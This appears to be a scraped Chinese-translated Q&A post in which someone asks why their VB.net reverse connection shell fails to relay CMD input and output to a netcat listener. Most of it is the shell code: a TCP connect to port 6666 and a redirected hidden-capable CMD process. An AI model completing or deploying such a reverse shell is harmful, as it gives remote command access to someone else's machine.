C# Vb.net反向连接外壳程序-异步读写失败

C# Vb.net反向连接外壳程序-异步读写失败,c#,vb.net,shell,asynchronous,stream,C#,Vb.net,Shell,Asynchronous,Stream,我试图编写一些VB.net程序,通过tcp连接将cmd外壳与netcat侦听服务器进行通信。它基于反向连接外壳,因此当我询问应用程序时,它应该连接到服务器并提供cmd提示。它是基于这个项目,但我特别需要在vb上运行它 以下是迄今为止我成功生成的代码: Dim TcpClient As TcpClient Dim NetworkStream As NetworkStream Dim streamWriter As StreamWriter Dim streamReader

我试图编写一些VB.net程序,通过tcp连接将cmd外壳与netcat侦听服务器进行通信。它基于反向连接外壳,因此当我询问应用程序时,它应该连接到服务器并提供cmd提示。它是基于这个项目,但我特别需要在vb上运行它

以下是迄今为止我成功生成的代码:

Dim TcpClient As TcpClient
    Dim NetworkStream As NetworkStream
    Dim streamWriter As StreamWriter
    Dim streamReader As StreamReader
    Dim processCmd As New Process()
    Dim procesoInfo As New ProcessStartInfo()

    TcpClient = New TcpClient()
    Dim strInput As New StringBuilder()

    If (TcpClient.Connected = False) Then

        Try

            TcpClient.Connect("localhost", 6666)
            NetworkStream = TcpClient.GetStream()
            streamReader = New StreamReader(NetworkStream)
            streamWriter = New StreamWriter(NetworkStream)

        Catch ex As Exception
            MsgBox("Connection unavailable")
            Return "nope"
        End Try

        procesoInfo.FileName = "CMD"
        'procesoInfo.CreateNoWindow = True
        procesoInfo.UseShellExecute = False
        procesoInfo.RedirectStandardOutput = True
        procesoInfo.RedirectStandardInput = True
        procesoInfo.RedirectStandardError = True

        AddHandler processCmd.OutputDataReceived, AddressOf processCmdHandler
        processCmd.StartInfo = procesoInfo
        processCmd.Start()

        processCmd.BeginOutputReadLine()

    End If

    While (True)

        Try

            strInput.Append(streamReader.ReadLine())
            strInput.Append("\n")
            If (strInput.ToString().LastIndexOf("exit") >= 0) Then
                processCmd.Kill()
                streamReader.Close()
                streamWriter.Close()
                NetworkStream.Close()
                System.Environment.Exit(System.Environment.ExitCode)
            End If

            processCmd.StandardInput.WriteLine(strInput)
            strInput.Remove(0, strInput.Length)

        Catch Ex As Exception

            streamReader.Close()
            streamWriter.Close()


        End Try

    End While
以下是用于管理异步standardOutput读取操作的事件处理程序:

Private Shared Sub processCmdHandler(sendingProcess As Object, outline As DataReceivedEventArgs)

    Dim strOutput As New StringBuilder()
    If Not String.IsNullOrEmpty(outline.Data) Then

        Try
            strOutput.Append(outline.Data)
            streamWriter.WriteLine(strOutput)
            streamWriter.Flush()
        Catch ex As Exception

        End Try
    End If
End Sub
到目前为止,连接工作得很好,进程已经创建,但是,它似乎并没有设法重定向shell的输出或输入。请注意,网络流工作正常,因为如果我键入exit,它将成功关闭连接。我对我在这里做错的事情有点不知所措。欢迎提供任何帮助

提前谢谢